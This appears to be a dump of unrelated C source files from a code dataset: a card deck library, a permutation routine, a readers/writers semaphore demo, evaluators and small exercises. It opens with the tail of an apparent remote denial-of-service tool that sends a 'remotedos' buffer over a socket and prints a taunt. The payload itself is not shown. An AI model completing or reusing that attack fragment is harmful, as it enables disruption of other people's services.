perror("connect()");
return -1;
}
if (write(sock, remotedos, strlen(remotedos)) < strlen(remotedos)) {
perror("write()");
return -1;
}
fprintf(stderr,"Bye Bye baby!...\n\n");
if (close(sock) < 0) {
perror("close()");
return -1;
}
return(0);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include "deck.h"
#include <string.h>
// #include "config.h"
void print_hand(deck_t * hand){
#if debug
printf(">>>>into print_hand().\n");
#endif
// card_t ** cards = hand->cards;
for (int i=0; i<hand->n_cards; i++){
print_card(*(hand->cards[i]));
printf(" ");
}
}
int deck_contains(deck_t * d, card_t c) {
#if debug
printf(">>>>into deck_contains().\n");
#endif
card_t ** cards = (d->cards);
for (int i=0; i<d->n_cards; i++){
if ((**cards).value == c.value
&& (**cards).suit == c.suit){
return 1;
}
cards++;
}
return 0;
}
void shuffle(deck_t * d){
#if debug
printf(">>>>into shuffle().\n");
#endif
card_t ** cards = (d->cards);
size_t n_cards = d->n_cards;
int random_value;
card_t * temp;
for (int i=0; i<n_cards; i++){
random_value = random() % n_cards;
temp = *cards;
*cards = *(cards + random_value);
*(cards + random_value) = temp;
}
}
void assert_full_deck(deck_t * d) {
#if debug
printf(">>>>into assert_full_deck();\n");
#endif
card_t card_temp;
int contain_check_result;
for (int i=0; i<52; i++){
card_temp = (card_from_num(i));
contain_check_result = deck_contains(d, card_temp);
if (contain_check_result == 0){
printf("assert_full_deck failed at %d.\n", i);
assert(0);
}
}
}
void add_card_to(deck_t * deck, card_t c){
if (deck != NULL){
int x = sizeof(card_t);
// printf("x = %d", x);
card_t * card = malloc(x);
memcpy(card, &c, x);
deck->n_cards++;
deck->cards = realloc(deck->cards, (deck->n_cards) * sizeof(card));
deck->cards[deck->n_cards -1] = card;
}
}
card_t * add_empty_card(deck_t * deck){
card_t c;
c.suit = 0;
c.value = 0;
add_card_to(deck, c);
return deck->cards[deck->n_cards - 1];
}
deck_t * make_deck_exclude(deck_t * excluded_cards){
card_t card;
deck_t * deck = malloc(sizeof(* deck));
deck->cards = NULL;
deck->n_cards = 0;
for (int i=0; i<52; i++){
card = card_from_num(i);
if (deck_contains(excluded_cards, card)){
}
else{
add_card_to(deck, card);
}
}
return deck;
}
deck_t * build_remaining_deck(deck_t ** hands, size_t n_hands){
if (hands == NULL || n_hands == 0){
return NULL;
}
/// define a deck.
deck_t has_cards;
has_cards.n_cards = 0;
has_cards.cards = NULL;
for (int i=0; i<n_hands; i++){
// printf(" hands = %d\n", i);
// print_hand(hands[i]);
// printf("\n");
for (int j=0; j<hands[i]->n_cards; j++){
// printf(" i = %d; j = %d\n", i, j);
// printf(" hands[i]->cards[j]->value = %d, hands[i]->cards[j]->suit = %d,", hands[i]->cards[j]->value, hands[i]->cards[j]->suit);
/// if this card is not a empty card, add it to a deck.
if (((hands[i]->cards[j]->value >= 2) && (hands[i]->cards[j]->value <= VALUE_ACE))
&& ((hands[i]->cards[j]->suit >= SPADES) && (hands[i]->cards[j]->suit <= CLUBS))){
add_card_to(&has_cards, *(hands[i]->cards[j]));
// printf(" add card to has_cards: card = ");
// print_card(*(hands[i]->cards[j]));
// printf("\n");
}
}
// printf("has cards:\n");
// print_hand(&has_cards);
// printf("\n");
}
/// create the remaining deck.
deck_t * p_deck;
p_deck = make_deck_exclude(&has_cards);
for (int i=0; i<has_cards.n_cards; i++){
free(has_cards.cards[i]);
}
free(has_cards.cards);
return p_deck;
}
void free_deck(deck_t * deck){
if (deck != NULL){
/// first, free all cards
for (int i=0; i<deck->n_cards; i++){
free(deck->cards[i]);
}
/// second, free the pointer array point to every cards.
free(deck->cards);
/// third, free the deck
free(deck);
}
}
|
C
|
#include "libPermutation.h"
void ShowVector (int s, int *e)
/* s size, e entrada */
{
int i;
for (i = 0; i < s; i++)
printf ("%3d", e[i]);
printf ("\n");
}
void MoveVectorLeft (int s, int p, int *e)
/*
s size
p posicio
e entrada
*/
{
int i, t = e[p];
for (i = p; i < s -1; i++)
e[i] = e[i+1];
e[s-1] = t;
}
/*
necessari per a poder acabar el programa quan toca
0 correcte
1 final, no te sentit buscar el seguent quan ja no n'hi ha
2 resultat sense sentit ;-)
*/
int
NextPermutation (int s, int *v)
{
int i, j, tt, tM;
i = s-1;
tM = v[i];
while (i--)
{
tt = v[i];
if (tt < tM)
{
for (j = i +1; j < s; j++)
{
tM = v[j];
if (tt < tM)
{
v[i] = v[j];
v[j] = tt;
return 0; /* tot correcte */
}
}
return 2; /* si entres al condicional ja estas teoricament al final i esta assegurat */
} else
{
tM = tt;
MoveVectorLeft (s, i, v);
}
}
return 1;
}
int ParserVectorDigit (int s, int *e)
{
int i, o = 0;
i = 0;
o = i; /* nomes per evitar warnings de no esser usats */
/* posiblitat * busqueda/ total */
/* pupa cap, ara no tic pel que haura d'estar, aixi que ja ni se parlrar , llavors rrr aaa rrr mmm deu */
return o;
}
/* Anira al contrari del que estem costumats a llegir, (de petit a gran)
Ja que ara se que es un sistema que calcularem poc a poc les permutacions, sense estres
*/
int ParserVectorToDigitV2 (s, e) /* sense dibuix */
int s; /* Size the vector */
int*e; /* vector */
{
int i, j; /* index */
int Pos; /* possiblitats possibles */
int D; /* resultat de tornada */
int repe; /* cops que se repeteix */
int tr; /* valor tmp, el que se repeteix */
int b; /* valor de la busqueda */
Pos = 1; /* Inicialitzem el valor ;) */
D = 0;
i = 1;
while (i < s)
{
/* Apartat del buscador */
tr = e[i];
repe = 1;
b = -1; /* donem un resultat impossible 'controlar' */
for (j = 0; j < i; j++)
{
if (tr < e[j])
{
if (b == -1)
b = j;
break;
}else if (tr == e[j])
{
if (b == -1)
b = j;
repe++;
}
}
if (b == -1)
b = i;
/* Ara nomes queda ordenar els elements correctament */
for (j = i; j >= b; j--)
e[j] = e[j -1];
e[b] = tr;
/* Final, ja nomes cal fer la suma */
Pos *= ++i / repe;
D += (Pos * b) / i;
}
return D;
}
|
C
|
/* Disciplina: Computacao Concorrente */
/* Autor: Pedro Henrique da Silva Bernardino */
/* Descricao: implementa o problema dos leitores/escritores priorizando escritores através de semáforos
*/
#include<pthread.h>
#include <semaphore.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define L 4 //numero de threads leitoras
#define E 2 //numero de threads escritoras
#define TAM 10 //tamanho do vetor de inteiros
//variaveis do problema
int lendo = 0, filaescr = 0; // contador de leitores lendo atualmente e de escritores na fila
sem_t mutex, leitura, escrita; // semáforo de exclusao mútua para seções criticas, e os de condição para leitores e escritores
int *vetor; //vetor das variáveis compartilhadas
void ler(int id) {
//waits e posts apenas para garantir que os prints serão operações atômicas
sem_wait(&mutex);
printf("L[%d] quer ler\n", id);
sem_post(&mutex);
sem_wait(&leitura);
sem_wait(&mutex);
printf("L[%d] passou do semáforo\n", id);
sem_post(&mutex);
// faz a leitura
double media = 0;
lendo++;
printf("Leitora %d esta lendo\n", id);
for(int i=0;i<TAM;i++)
{
printf("%d ", *(vetor+i));
media += *(vetor+i);
}
media /= TAM;
printf("\n media: %.2lf\n", media);
//da vaga a outra thread leitora apenas se nenhum escritor quiser escrever
sem_wait(&mutex);
lendo--;
printf("L[%d] terminou de ler\n", id);
if(lendo == 0)
sem_post(&escrita);
if(filaescr == 0)
sem_post(&leitura);
sem_post(&mutex);
}
void escrever(int id)
{
sem_wait(&mutex);
printf("E[%d] quer escrever\n", id);
filaescr++;
sem_post(&mutex);
sem_wait(&escrita);
sem_wait(&mutex);
printf("E[%d] passou do semáforo\n", id);
filaescr--;
sem_post(&mutex);
// faz a escrita
printf("Escritora %d esta escrevendo\n", id);
for (int i = 0; i < TAM; ++i)
{
if(i == 0 || i == TAM-1)
*(vetor+i) = id;
else *(vetor+i) = 2 * id;
}
sem_wait(&mutex);
printf("E[%d] terminou de escrever\n", id);
//libera as threads leitoras somente se nenhuma outra thread escritora quiser escrever
if(filaescr == 0)
for (int i = 0; i < L; ++i)
sem_post(&leitura);
else sem_post(&escrita);
sem_post(&mutex);
}
//thread leitora
void * leitor (void * arg) {
int *id = (int *) arg;
while(1)
ler(*id);
free(arg);
pthread_exit(NULL);
}
//thread escritora
void * escritor (void * arg) {
int *id = (int *) arg;
while(1)
escrever(*id);
free(arg);
pthread_exit(NULL);
}
//funcao principal
int main(void) {
//identificadores das threads
pthread_t tid[L+E];
int id[L+E];
//inicializa os semaforos
sem_init(&mutex, 0, 1);
sem_init(&leitura, 0, L);
sem_init(&escrita,0, 0);
//inicializa o vetor de inteiros
vetor = (int *) calloc (TAM, sizeof(int));
//cria as threads leitoras
for(int i=0; i<L; i++) {
id[i] = i+1;
if(pthread_create(&tid[i], NULL, leitor, (void *) &id[i])) exit(-1);
}
//cria as threads escritoras
for(int i=0; i<E; i++) {
id[i+L] = i+1;
if(pthread_create(&tid[i+L], NULL, escritor, (void *) &id[i+L])) exit(-1);
}
pthread_exit(NULL);
return 0;
}
|
C
|
#include <stdio.h>
#include <math.h>
main () {
float raio, altura, area;
printf("\n\t***********************************\n");
printf("\t*VOLUME DA CAIXA D'AGUA CILINDRICA*");
printf("\n\t***********************************\n");
printf("\nInsira o raio: ");
scanf("%f", &raio);
printf("\nInsira a altura: ");
scanf("%f", &altura);
area = M_PI * raio * raio * altura;
printf("\nArea: %.2f\n", area);
}
|
C
|
/*
* sample_buffer.h
* Benedikt Huber <benedikt@vmars.tuwien.ac.at>, 2010-2013
* WCET Analysis Lab, Real-Time System's Group, Institute of Computer Engineering, Vienna University of Technology
*
* Ring-Buffer datastructure for 16-bit samples
*/
#include "sample_buffer.h"
// ============================
// = Sample Buffer Operations =
// ============================
/** @brief initialize the given sample buffer using the given underlying memory region for storing values
* @param buf A pointer to a (uninitialized) sample buffer
* @param buf_storage Pointer to an array with buf_size elements
* @param buf_size Maximum number of samples in the buffer (power of 2!)
*/
void init_sample_buffer(sample_buffer_t* buf, sample_value_t* buf_storage, int buf_size)
{
buf->samples = buf_storage;
buf->buf_size = buf_size;
clear_sample_buffer(buf);
}
/** @brief remove all samples from the sample buffer
* @param buf A pointer to a sample buffer
*/
void clear_sample_buffer(sample_buffer_t* buf)
{
int i;
for(i = 0; i < buf->buf_size;i++)
{
buf->samples[i] = VALUE_MISSING;
}
buf->sample_ptr = 0;
buf->valid_ptr = INVALID_INDEX;
assert(buf->sample_ptr >= 0 && buf->sample_ptr < buf->buf_size && "invalid sample_ptr");
}
/** @brief Get the sample at a position relative to sample_ptr
* @param buf A pointer to a sample buffer
* @param offset The offset (positive or negative) of the element to access, relative to buf->sample_ptr
*/
sample_value_t sample_buffer_get(sample_buffer_t *buf, int offset)
{
return buf->samples[RINDEX(buf,offset)];
}
/** @brief Set a sample at a position relative to sample_ptr
* @param buf A pointer to a sample buffer
* @param rioffsetndex The offset (positive or negative) of the element to access, relative to buf->sample_ptr
* @param sample The new value at the given index
*/
void sample_buffer_set(sample_buffer_t *buf, int offset, sample_value_t value)
{
buf->samples[RINDEX(buf,offset)] = value;
}
/** @brief Change the sample_ptr of the given buffer
* @param buf A pointer to a sample buffer
* @param offset The offset (positive or negative) to move buf->sample_ptr. The absolute value
* of offset has to be smaller than buf->buf_size
*/
void sample_buffer_incr_ptr(sample_buffer_t *buf, int offset)
{
buf->sample_ptr = RINDEX(buf,offset);
assert(buf->sample_ptr >= 0 && buf->sample_ptr < buf->buf_size && "invalid sample_ptr");
}
/** @brief Get the index of the last known valid sample
* @param buf A pointer to a sample buffer
* @return a non-positive relative index in the range (-buf->buf_size+1..0), or INVALID_INDEX, if there are no valid samples
*/
int sample_buffer_get_valid(sample_buffer_t *buf)
{
if(buf->valid_ptr == INVALID_INDEX)
return INVALID_INDEX;
int rindex = buf->valid_ptr - buf->sample_ptr;
assert(rindex < buf->buf_size && "invalid index of 'valid_ptr'");
if(rindex > 0)
rindex = rindex - buf->buf_size;
assert(rindex <= 0 && rindex > (-buf->buf_size) && "invalid rindex for 'valid_ptr'");
return rindex;
}
/** @brief Set the index of the last known valid sample
* @param buf A pointer to a sample buffer
* @param rindex The offset (positive or negative) of the last valid element
*/
void sample_buffer_set_valid(sample_buffer_t *buf, int rindex) {
buf->valid_ptr = RINDEX(buf, rindex);
}
|
C
|
#include "hmm.h"
int main(int argc, char*argv[])
{
if (argc != 3 && argc != 4 && argc != 5){
printf("Wrong command format\n");
printf("Format: ./evaluate [result1.txt] [testing_answer.txt] [(acc.txt)] [all]\n");
exit(1);
}
const char *result_file = argv[1];
const char *answer_file = argv[2];
const char *acc_file;
int test_all = 0;
if(argc == 5 && !strcmp(argv[4], "all")){
test_all=1;
acc_file = argv[3];
}
else if (argc == 4 && !strcmp(argv[3], "all")){
test_all=1;
acc_file = "acc.txt";
}
else if (argc == 4 && strcmp(argv[3], "all")){
acc_file = argv[3];
}
else{
acc_file = "acc.txt";
}
int TP = 0, N = 0;
char prediction[MAX_LINE];
char GT[MAX_LINE];
double prob, acc;
if(test_all){
int iter;
char *result_file_iter = (char*) malloc(strlen(result_file) + 1);
strcpy(result_file_iter, result_file);
char *ext_ptr = strrchr (result_file_iter, '.');
size_t ext_size = strlen (ext_ptr);
size_t slash_size = strlen ("_");
strcat(result_file_iter, "_");
strncpy (ext_ptr, "_", slash_size);
if (slash_size < ext_size)
*(ext_ptr+slash_size) = 0;
FILE *fp = open_or_die(acc_file, "w");
for (iter = 25; iter < 1050 ; iter += 25){
TP = 0, N = 0;
char iters[10];
sprintf(iters, "%05d", iter);
strcat(iters, ".txt");
char *slash_ptr = strrchr (result_file_iter, '_');
size_t ext_size = strlen (slash_ptr);
size_t iters_size = strlen (iters);
strncpy (slash_ptr+1, iters, iters_size);
if (iters_size > ext_size)
*(slash_ptr+1+iters_size) = 0;
FILE *fp_result_iter, *fp_answer;
fp_result_iter = open_or_die(result_file_iter, "r");
fp_answer = open_or_die(answer_file, "r");
while (!feof(fp_result_iter) && !feof(fp_answer)){
fscanf(fp_result_iter, "%s %le", prediction, &prob);
fscanf(fp_answer, "%s", GT);
//printf("%s", prediction);
//printf(" %s\n", GT);
int idx = (int)(strrchr (prediction, '_')-prediction);
if (idx > 5 ){
if (strncmp(prediction, GT, idx) == 0) {
TP++;
}
}else{
if (strcmp(prediction, GT) == 0) {
TP++;
}
}
N++;
}
fclose(fp_result_iter);
fclose(fp_answer);
printf("=====Iter #%d=====\n", iter);
printf("True Positive: %d\n", TP);
printf("Total Number: %d\n", N);
acc = (double)TP/(double)N;
printf("Accuracy: %f\n", acc);
fprintf(fp, "%05d\t", iter);
fprintf(fp, "%f\n", acc);
}
TP = 0, N = 0;
FILE *fp_result, *fp_answer;
fp_result = open_or_die(result_file, "r");
fp_answer = open_or_die(answer_file, "r");
while (!feof(fp_result) && !feof(fp_answer)){
fscanf(fp_result, "%s %le", prediction, &prob);
fscanf(fp_answer, "%s", GT);
//printf("%s", prediction);
//printf(" %s\n", GT);
int idx = (int)(strrchr (prediction, '_')-prediction);
if (idx > 5 ){
if (strncmp(prediction, GT, idx) == 0) {
TP++;
}
}else{
if (strcmp(prediction, GT) == 0) {
TP++;
}
}
N++;
}
fclose(fp_result);
fclose(fp_answer);
printf("True Positive: %d\n", TP);
printf("Total Number: %d\n", N);
acc = (double)TP/(double)N;
printf("Accuracy: %f\n", acc);
fprintf(fp, "%05d\t", iter);
fprintf(fp, "%f\n", acc);
fclose(fp);
if (result_file_iter) free(result_file_iter);
}
else{
FILE *fp_result, *fp_answer;
fp_result = open_or_die(result_file, "r");
fp_answer = open_or_die(answer_file, "r");
while (!feof(fp_result) && !feof(fp_answer)){
fscanf(fp_result, "%s %le", prediction, &prob);
fscanf(fp_answer, "%s", GT);
//printf("%s", prediction);
//printf(" %s\n", GT);
int idx = (int)(strrchr (prediction, '_')-prediction);
if (idx > 5 ){
if (strncmp(prediction, GT, idx) == 0) {
TP++;
}
}else{
if (strcmp(prediction, GT) == 0) {
TP++;
}
}
N++;
}
fclose(fp_result);
fclose(fp_answer);
printf("True Positive: %d\n", TP);
printf("Total Number: %d\n", N);
acc = (double)TP/(double)N;
printf("Accuracy: %f\n", acc);
FILE *fp = open_or_die(acc_file, "w");
fprintf(fp, "%f", acc);
fclose(fp);
}
return 0;
}
|
C
|
#include <locale.h>
#include <stdio.h>
#include <math.h>
#define MONTHS 12
int main(int argc, char const *argv[]) {
setlocale(LC_NUMERIC, "");
int TC, i, counter = 0;
double ammount, ans;
double integer = 0.0, fractional = 0.0, aux = 0.0;
scanf("%d", &TC);
while(TC--) {
ammount = 0.0; ans = 0.0;
i = 0;
while(i < MONTHS) {
scanf("%lf", &ammount);
ans += ammount/MONTHS;
i += 1;
}
printf("%d $%'.2lf\n", ++counter, ans);
}
return 0;
}
|
C
|
/******************************************************************************
Welcome to GDB Online.
GDB online is an online compiler and debugger tool for C, C++, Python, PHP, Ruby,
C#, VB, Perl, Swift, Prolog, Javascript, Pascal, HTML, CSS, JS
Code, Compile, Run and Debug online from anywhere in world.
*******************************************************************************/
#include <stdio.h>
int main()
{
int a;
printf("\n enter the date ");
scanf("%d",&a);
char ch;
switch(a)
{
case 1: printf("\n sunday ");break;
case 2: printf("\n monday ");break;
case 3: printf("\n tuesday ");break;
case 4: printf("\n wednesday ");break;
case 5: printf("\n thursday ");break;
case 6: printf("\n friday ");break;
case 7: printf("\n saturday ");break;
default : printf("\n invalid day...!");
}
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* read_bytes.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: seronen <seronen@student.hive.fi> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/02/08 21:26:21 by seronen #+# #+# */
/* Updated: 2021/03/16 17:58:23 by seronen ### ########.fr */
/* */
/* ************************************************************************** */
#include "vm.h"
/*
** read_bytes (MEMSPACE GUARDIAN)
**
** Takes the whole memspace (arena)
** Takes a index to memspace (where)
** Takes a size (size)
**
** Reads the memspace byte by byte from index (where) onwards
** while wrapping to index - MEM_SIZE if index > MEM_SIZE
** this is achieved using modulo MEM_SIZE to index,
** and wrapping to MEM_SIZE -index, if index < 0
**
** In practice, if we have a index MEM_SIZE + 2, it converts to index 2.
** And if the index is -2, it converts to MEM_SIZE - 2.
**
** Uses a buffer to store the bytes read.
**
** NOTES:
** Tested with different values,
** including reading 4 bytes at index MEM_SIZE -2, All should be good.
** In case the (where) is between 0 & MEM_SIZE, bytes are read normally.
**
** Returns a integer formed from the bytes read.
*/
int read_bytes(unsigned char *arena, int where, int size)
{
int index;
unsigned char buf[4];
index = 0;
if (where < 0)
where += MEM_SIZE;
ft_memset(buf, 0, 4);
index = 4 - size;
while (size > 0)
{
where %= MEM_SIZE;
buf[index] = arena[where];
size--;
where++;
index++;
}
return (convert_4_bytes(buf));
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.